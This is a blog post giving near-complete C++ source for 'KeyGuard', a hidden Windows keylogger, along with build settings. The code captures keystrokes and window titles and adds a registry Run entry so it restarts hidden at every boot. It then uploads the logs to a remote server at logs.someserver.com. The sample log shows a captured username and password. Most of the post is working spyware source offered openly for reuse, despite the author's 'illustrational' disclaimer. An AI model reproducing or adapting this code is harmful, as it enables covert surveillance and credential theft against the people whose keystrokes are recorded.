Win32 Keylogging

This is the main code I used for a simple one-click install keylogger that I made originally for Windows XP, but also works fine in Vista and Windows 7. It is for illustrational purposes only and I'm just posting the main code to demonstrate the logging algorithm itself. For the entire code to actually work, you need to create a resource file with the needed constants and definitions that it uses. Also take note of the registry changes that it will perform to keep it running after every reboot with the -hide parameter. I created it in Visual C++ 2010 from an empty Win32 project using the following settings:

Runtime library: /MT (makes it standalone).
Link with ws2_32.lib (winsock support).
Use Unicode Character Set.

The log
It sends data in chucks of 1024 kB character data from a local text file to a private server, but is easily converted to e-mail if you want to connect to a SMTP server instead and was actually originally made for that.

It logs alphanumeric values (A-Z, a-z, 0-9) and simple formatting (Space, Enter(new line), Plus(+), Minus(-), Comma(,), Period(.), Backspace(<) and TAB([Tab]). Window titles are also logged to indicate which program and content that was logged at any given time.

Log output example:
[WINDOW: Google - Windows Internet Exp]
somesite.com

[WINDOW: Connect to somesite.com]
the username[Tab]thepassword

[WINDOW: Google - Windows Internet Exp]
I am searching stuff I should not search


Main keylogging code:
/* 
 *	Copyright (C) 2011 Dag Jonny Nedrelid
 *
 *	KeyGuard 3.1
 *	Last updated February 14th, 2011
 */

#include "stdafx.h"
#include "KeyGuard.h"

#define MAX_LOADSTRING 100
#define MAX_LOG_SIZE 1024
#define LOG_FILE_NAME "KeyGuard.log"
#define KGSERVER_HOST "logs.someserver.com"
#define KGSERVER_PORT "1234"

// Global variable declarations
HINSTANCE hInst;
HWND hWnd;
HWND fgWindow;
TCHAR szTitle[MAX_LOADSTRING];
TCHAR szWindowClass[MAX_LOADSTRING];
TCHAR ProgramID[11];
TCHAR fgWindowTitle[50];
BOOL lastKeyBeenUp;
BOOL CapsLockOn;
BOOL ShiftIsDown;
BOOL RAltIsDown;
INT FormatKeys[8];
INT lastKey;

// Function prototypes
LRESULT CALLBACK	WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK	About(HWND, UINT, WPARAM, LPARAM);
ATOM	MyRegisterClass(HINSTANCE hInstance);
BOOL	InitInstance(HINSTANCE, INT);
VOID	ConvertWToChar(TCHAR *Source, CHAR *Dest);
VOID	SaveToLog(CHAR, CHAR*, INT);
VOID	Install();
VOID	KeyScan();
VOID	SendLog();

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
	UNREFERENCED_PARAMETER(hPrevInstance);
	UNREFERENCED_PARAMETER(lpCmdLine);

	MSG msg;
	HACCEL hAccelTable;
	INT nArgs, i;
	LPWSTR *szParameters;

	// Initializations
	ZeroMemory(&msg, sizeof(MSG));
	ProgramID[0] = NULL;
	lastKeyBeenUp = FALSE;
	lastKey = VK_ESCAPE;
	fgWindow = hWnd;
	wcscpy_s(fgWindowTitle, szTitle);
	FormatKeys[0] = VK_SPACE;
	FormatKeys[1] = VK_RETURN;
	FormatKeys[2] = VK_OEM_PLUS;
	FormatKeys[3] = VK_OEM_COMMA;
	FormatKeys[4] = VK_OEM_MINUS;
	FormatKeys[5] = VK_OEM_PERIOD;
	FormatKeys[6] = VK_BACK;
	FormatKeys[7] = VK_TAB;

	// Get program parameters
	szParameters = CommandLineToArgvW(GetCommandLineW(), &nArgs);
	if (szParameters != NULL) {
		for (i = 0; i<nArgs; i++) {
			if (wcscmp(szParameters[i], L"-hide") == 0)
				nCmdShow = SW_HIDE;
			if (i == 2) // ID must be second parameter
				wcscpy_s(ProgramID, szParameters[i]);
		}
	}

	// Initialize global strings
	LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
	LoadString(hInstance, IDC_KEYGUARD, szWindowClass, MAX_LOADSTRING);
	MyRegisterClass(hInstance);

	// Destroy other instances of KeyGuard
	PostMessage(FindWindow(szWindowClass, szTitle),WM_DESTROY,0,0);

	// Perform application initialization:
	if (!InitInstance (hInstance, nCmdShow))
		return FALSE;

	hAccelTable = LoadAccelerators(hInstance, 
			MAKEINTRESOURCE(IDC_KEYGUARD));

	// Main message loop:
	while (msg.message != WM_QUIT) {
		Sleep(5); // Try to stay CPU friendly, but still quick
		if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE) != 0) {
			TranslateAccelerator(msg.hwnd, hAccelTable, &msg);
			TranslateMessage(&msg);
			DispatchMessage(&msg);
		}

		KeyScan(); // Scans and logs keys
		SendLog(); // Send if PID exists and > MAX_LOG_SIZE
	}

	return (int) msg.wParam;
}

ATOM MyRegisterClass(HINSTANCE hInstance)
{
	WNDCLASSEX wcex;
	wcex.cbSize = sizeof(WNDCLASSEX);

	wcex.style		= CS_HREDRAW | CS_VREDRAW;
	wcex.lpfnWndProc	= WndProc;
	wcex.cbClsExtra		= 0;
	wcex.cbWndExtra		= 0;
	wcex.hInstance		= hInstance;
	wcex.hIcon		= LoadIcon(hInstance, 
					MAKEINTRESOURCE(IDI_KEYGUARD));
	wcex.hCursor		= LoadCursor(NULL, IDC_ARROW);
	wcex.hbrBackground	= (HBRUSH)(COLOR_WINDOW+1);
	wcex.lpszMenuName	= MAKEINTRESOURCE(IDC_KEYGUARD);
	wcex.lpszClassName	= szWindowClass;
	wcex.hIconSm		= LoadIcon(wcex.hInstance, 
					MAKEINTRESOURCE(IDI_SMALL));

	return RegisterClassEx(&wcex);
}

BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   hInst = hInstance;

   // Main window.
   hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
      CW_USEDEFAULT, 0, 210, 125, NULL, NULL, hInstance, NULL);

   // Create "Program ID:" edit control.
   CreateWindowEx(WS_EX_CLIENTEDGE, L"EDIT", L"", 
		WS_VISIBLE | WS_CHILD | ES_NUMBER,
		95, 9, 90, 20, hWnd, (HMENU)TXT_KEYGUARD_ID, NULL, NULL);
   SetDlgItemText(hWnd, TXT_KEYGUARD_ID, ProgramID);

   // Create "Update / Install" button control.
   CreateWindowEx(NULL, L"BUTTON", L"Install / update", WS_VISIBLE | WS_CHILD,
		35, 35, 120, 20, hWnd, (HMENU)BTN_KEYGUARD_ID, NULL, NULL);

   if (!hWnd)
      return FALSE;

   ShowWindow(hWnd, nCmdShow);
   UpdateWindow(hWnd);

   return TRUE;
}

LRESULT CALLBACK WndProc(HWND hWnd, 
			UINT message, 
			WPARAM wParam, 
			LPARAM lParam)
{
	int wmId, wmEvent;
	TCHAR lblProgramID[] = L"Program ID:";
	TCHAR szKeyGuardID[11];
	PAINTSTRUCT ps;
	HDC hdc;

	switch (message) {
	case WM_COMMAND:
		wmId    = LOWORD(wParam);
		wmEvent = HIWORD(wParam);
		
		switch (wmId) {
		case IDM_ABOUT:
			DialogBox(hInst, 
				MAKEINTRESOURCE(IDD_ABOUTBOX), 
				hWnd, 
				About);
			break;

		case IDM_EXIT:
			DestroyWindow(hWnd);
			break;

		case BTN_KEYGUARD_ID:
			if (GetDlgItemText(hWnd, TXT_KEYGUARD_ID, 
					szKeyGuardID, 
					sizeof(szKeyGuardID)) < 10) 
			{
				MessageBox(NULL, L"Must be 10 numbers.", 
					L"FAIL", MB_OK | MB_ICONERROR);
				break;
			}
			wcscpy_s(ProgramID, szKeyGuardID);
			Install();
			break;

		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
		}
		break;

	case WM_PAINT:
		hdc = BeginPaint(hWnd, &ps);
		// Add any drawing code here.
		
		TextOut(hdc, 10, 10, lblProgramID, ARRAYSIZE(lblProgramID));

		EndPaint(hWnd, &ps);
		break;

	case WM_DESTROY:
		PostQuitMessage(0);
		break;

	default:
		return DefWindowProc(hWnd, message, wParam, lParam);
	}
	return 0;
}

INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
	UNREFERENCED_PARAMETER(lParam);
	switch (message) {
	case WM_INITDIALOG:
		return (INT_PTR)TRUE;

	case WM_COMMAND:
		if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) {
			EndDialog(hDlg, LOWORD(wParam));
			return (INT_PTR)TRUE;
		}
		break;
	}
	return (INT_PTR)FALSE;
}

VOID Install() 
{
	HKEY hkey;
	TCHAR NewRegistryKeyValue[50];
	TCHAR ExecuteParams[50];

	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,L"SOFTWARE\\Microsoft\\"
					L"Windows\\CurrentVersion\\Run",
				0,KEY_SET_VALUE,&hkey) != ERROR_SUCCESS) 
	{
		MessageBox(NULL, L"You need administrative rights to do "
			L"this.", L"Install", MB_OK | MB_ICONERROR );
		return;
	}

	// Update registry
	wcscpy_s(NewRegistryKeyValue, L"C:\\KeyGuard\\KeyGuard.exe\" -hide ");
	wcscat_s(NewRegistryKeyValue, ProgramID);
	RegDeleteKeyValue(hkey, NULL, L"KeyGuard");
	RegSetValueEx(hkey, L"KeyGuard", 0, REG_SZ, 
			(const BYTE*)NewRegistryKeyValue, 
			sizeof(NewRegistryKeyValue));
	RegCloseKey(hkey);

	// Install folder and file
	CreateDirectory(L"C:\\KeyGuard\\", NULL);
	CopyFile(L"KeyGuard.exe", L"C:\\KeyGuard\\KeyGuard.exe", FALSE);

	MessageBox( NULL, L"Done. Starting C:\\KeyGuard\\KeyGuard.exe in"
				L" hidden mode ...", L"Install / update", 
					MB_OK | MB_ICONINFORMATION );

	// Start the other KeyGuard and send a redundant quit message
	wcscpy_s(ExecuteParams, L"-hide ");
	wcscat_s(ExecuteParams, ProgramID);
	ShellExecute(NULL, L"open", L"KeyGuard.exe", ExecuteParams, 
					L"C:\\KeyGuard\\", SW_SHOW);
	PostQuitMessage(0);
}

VOID KeyScan() 
{
	int loop_a;
	CHAR *formatValue, logValue;

	// Prevent log spam
	if ((GetKeyState(lastKey) & 0x8000) == 0)
		lastKeyBeenUp = TRUE;

	if (!lastKeyBeenUp) 
		return;

	// Modifier keys
	if ((GetKeyState(VK_SHIFT) & 0x8000) == 0)
		ShiftIsDown = FALSE;
	else
		ShiftIsDown = TRUE;

	if ((GetKeyState(VK_RMENU) & 0x8000) == 0)
		RAltIsDown = FALSE;
	else
		RAltIsDown = TRUE;

	// 0-9
	for (loop_a=0x30; loop_a<=0x39; loop_a++) {
		if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
			switch (loop_a) {
			case 0x30:
				logValue = (ShiftIsDown?'=':'0');
				break;

			case 0x31:
				logValue = (ShiftIsDown?'!':'1');
				break;

			case 0x32:
				logValue = (ShiftIsDown?'"':'2');
				logValue = (RAltIsDown?'@':logValue);
				break;

			case 0x33:
				logValue = (ShiftIsDown?'#':'3');
				break;

			case 0x34:
				logValue = (ShiftIsDown?'ยค':'4');
				break;

			case 0x35:
				logValue = (ShiftIsDown?'%':'5');
				break;

			case 0x36:
				logValue = (ShiftIsDown?'&':'6');
				break;

			case 0x37:
				logValue = (ShiftIsDown?'/':'7');
				break;

			case 0x38:
				logValue = (ShiftIsDown?'(':'8');
				break;

				case 0x39:
				logValue = (ShiftIsDown?')':'9');
				break;
			}

			SaveToLog(logValue, NULL, loop_a);
			return;
		}
	}

	// 0-9 Numpad
	for(loop_a=0x60; loop_a<=0x69; loop_a++) {
		if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
			switch(loop_a) {
			case 0x06: 
				logValue = '0';
				break;

			case 0x61:
				logValue = '1';
				break;

			case 0x62:
				logValue = '2';
				break;

			case 0x63:
				logValue = '3';
				break;

			case 0x64:
				logValue = '4';
				break;

			case 0x65:
				logValue = '5';
				break;

			case 0x66:
				logValue = '6';
				break;

			case 0x67:
				logValue = '7';
				break;

			case 0x68:
				logValue = '8';
				break;

			case 0x69:
				logValue = '9';
				break;
			}

			SaveToLog(logValue, NULL, loop_a);
			return;
		}
	}

	// Works out case-sensitiv logging
	if ((GetKeyState(VK_CAPITAL) & 0x1) > 0 && 
			(GetKeyState(VK_SHIFT)&0x8000) == 0)
		CapsLockOn = TRUE;
	else if ((GetKeyState(VK_CAPITAL) & 0x1) == 0 && 
			(GetKeyState(VK_SHIFT) & 0x8000) > 0) 
		CapsLockOn = TRUE;
	else
		CapsLockOn = FALSE;

	// A-Z
	for(loop_a=0x41; loop_a<=0x5A; loop_a++) {
		if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
			switch(loop_a) {
			case 0x41:
				logValue = (CapsLockOn?'A':'a');
				break;

			case 0x42:
				logValue = (CapsLockOn?'B':'b');
				break;

			case 0x43:
				logValue = (CapsLockOn?'C':'c');
				break;

			case 0x44:
				logValue = (CapsLockOn?'D':'d');
				break;

			case 0x45:
				logValue = (CapsLockOn?'E':'e');
				break;

			case 0x46:
				logValue = (CapsLockOn?'F':'f');
				break;

			case 0x47:
				logValue = (CapsLockOn?'G':'g');
				break;

			case 0x48:
				logValue = (CapsLockOn?'H':'h');
				break;

			case 0x49:
				logValue = (CapsLockOn?'I':'i');
				break;

			case 0x4A:
				logValue = (CapsLockOn?'J':'j');
				break;

			case 0x4B:
				logValue = (CapsLockOn?'K':'k');
				break;

			case 0x4C:
				logValue = (CapsLockOn?'L':'l');
				break;

			case 0x4D:
				logValue = (CapsLockOn?'M':'m');
				break;

			case 0x4E:
				logValue = (CapsLockOn?'N':'n');
				break;

			case 0x4F:
				logValue = (CapsLockOn?'O':'o');
				break;

			case 0x50:
				logValue = (CapsLockOn?'P':'p');
				break;

			case 0x51:
				logValue = (CapsLockOn?'Q':'q');
				break;
			
			case 0x52:
				logValue = (CapsLockOn?'R':'r');
				break;

			case 0x53:
				logValue = (CapsLockOn?'S':'s');
				break;

			case 0x54:
				logValue = (CapsLockOn?'T':'t');
				break;

			case 0x55:
				logValue = (CapsLockOn?'U':'u');
				break;

			case 0x56:
				logValue = (CapsLockOn?'V':'v');
				break;

			case 0x57:
				logValue = (CapsLockOn?'W':'w');
				break;

			case 0x58:
				logValue = (CapsLockOn?'X':'x');
				break;

			case 0x59:
				logValue = (CapsLockOn?'Y':'y');
				break;

			case 0x5A:
				logValue = (CapsLockOn?'Z':'z');
				break;
			}

			SaveToLog(logValue, NULL, loop_a);
			return;
		}
	}

	// Formatting
	for (loop_a=0; loop_a<=8; loop_a++) {
		if ((GetAsyncKeyState(FormatKeys[loop_a]) & 0x8000) > 0) {
			switch(FormatKeys[loop_a]) {
			case VK_SPACE:
				formatValue = " ";
				break;

			case VK_RETURN:
				formatValue = "\r\n";
				break;

			case VK_OEM_PLUS:
				formatValue = (ShiftIsDown?"?":"+");
				break;
				
			case VK_OEM_COMMA:
				formatValue = (ShiftIsDown?";":",");
				break;

			case VK_OEM_MINUS:
				formatValue = (ShiftIsDown?"_":"-");
				break;

			case VK_OEM_PERIOD:
				formatValue = (ShiftIsDown?":":".");
				break;

			case VK_BACK:
				formatValue = "<";
				break;

			case VK_TAB:
				formatValue = "[Tab]";
				break;
			}

			SaveToLog(NULL, formatValue, FormatKeys[loop_a]);
		}
	}
}

VOID SaveToLog(CHAR c, CHAR *s, INT k)
{
	FILE *logFile;
	TCHAR cur_fgWindowTitle[50];
	CHAR LogTitle[50];

	// Check and set a new window title in the log
	fgWindow = GetForegroundWindow();
	GetWindowText(fgWindow, cur_fgWindowTitle, 50);
	ConvertWToChar(cur_fgWindowTitle, LogTitle);

	// Don't log our own window
	if (wcscmp(cur_fgWindowTitle, szTitle) == 0)
		return;

	// Don't log if there's no Program ID
	if (ProgramID[0] == NULL)
		return;

	if (wcscmp(cur_fgWindowTitle, fgWindowTitle) != 0) {
		GetWindowText(fgWindow, fgWindowTitle, 50);

		// Update log with new window title
		if (fopen_s(&logFile, LOG_FILE_NAME, "a+") == 0) {
			fprintf_s(logFile, 
				"\r\n\r\n[WINDOW: %s%s", 
				LogTitle, 
				"]\r\n");
			fclose(logFile);
		}
	}

	// Log a single character
	if (c != NULL) {
		if (fopen_s(&logFile, LOG_FILE_NAME, "a+") == 0) {
			fprintf_s(logFile, "%c", c);
			fclose(logFile);
		}
	}

	// Log a formatting value
	if (s != NULL) {
		if (fopen_s(&logFile, LOG_FILE_NAME, "a+") == 0) {
			fprintf_s(logFile, "%s", s);
			fclose(logFile);
		}
	}

	lastKey = k;
	lastKeyBeenUp = FALSE;
}

VOID SendLog()
{
	WSADATA wsaData;
	SOCKET KGSocket = INVALID_SOCKET;
	struct addrinfo *result = NULL, *ptr = NULL, hints;
	BOOL sentFailFlag = FALSE;
	CHAR LogData[MAX_LOG_SIZE+1], PID[11];
	FILE *logFile;
	INT LogSize;

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	if (ProgramID[0] == NULL)
		return;

	// Get a local ANSI copy of the ID, for send()
	ConvertWToChar(ProgramID, PID);

	// Get log size
	if (fopen_s(&logFile, LOG_FILE_NAME, "r") == 0) {
		fseek(logFile, 0, SEEK_END);
		LogSize = (long)ftell(logFile);
		fclose(logFile);
		if (LogSize < MAX_LOG_SIZE)
			return;
	} else {
		return;
	}

	// Initiate connection to server
	if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
		return;
		
	
	if (getaddrinfo(KGSERVER_HOST, KGSERVER_PORT, &hints, &result) != 0) {
		WSACleanup();
		return;
	}
	
	ptr=result;
	KGSocket = socket(ptr->ai_family, 
			ptr->ai_socktype, 
			ptr->ai_protocol);

	if (KGSocket == INVALID_SOCKET) {
		freeaddrinfo(result);
		WSACleanup();
		return;
	}
	
	if (connect(KGSocket, 
		ptr->ai_addr, 
		(int)ptr->ai_addrlen) == SOCKET_ERROR) 
	{
		closesocket(KGSocket);
		KGSocket = INVALID_SOCKET;
		freeaddrinfo(result);
		WSACleanup();
		return;
	}
	
	// Get log data
	if (fopen_s(&logFile, LOG_FILE_NAME, "r") == 0) {
		LogSize = fread(LogData, sizeof(char), MAX_LOG_SIZE, logFile);
		LogData[LogSize] = '\0';
		fclose(logFile);
	}
	
	// Attempt to send PID and log data
	if (send(KGSocket, PID, sizeof(PID), 0) == SOCKET_ERROR)
		sentFailFlag = TRUE;
	if (send(KGSocket, LogData, sizeof(LogData), 0) == SOCKET_ERROR)
		sentFailFlag = TRUE;

	// Reset log
	if (!sentFailFlag) {
		DeleteFileA(LOG_FILE_NAME);
	}
	
	closesocket(KGSocket);
	KGSocket = INVALID_SOCKET;
	freeaddrinfo(result);
	WSACleanup();
	return;
}

VOID ConvertWToChar(TCHAR *Source, CHAR *Dest)
{
	int i = 0;
	while(Source[i] != '\0') {
		Dest[i] = (char)Source[i];
		++i;
	}
	Dest[i] = '\0';
}


Included files in stdafx.h:
#define WIN32_LEAN_AND_MEAN             // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>

// C RunTime Header Files
#include <stdlib.h>
#include <stdio.h>
#include <malloc.h>
#include <memory.h>
#include <tchar.h>
#include <Shellapi.h>
#include <winsock2.h>
#include <ws2tcpip.h>


The built-in Win32 GetAsyncKeyState function is the heart of this program, nothing is being hacked. Registry is injected with startup commands upon install, so that it will start on every reboot in hidden mode. The program and log is installed by default in C:\KeyGuard\. Contact me if you would like a removal tool for uninstalling it automatically.

This document was last updated November 21st, 2011.
Written by: Dag Jonny Nedrelid
©2007-2012 http://thronic.com


Feel free to leave a comment.
Name:
URL:
0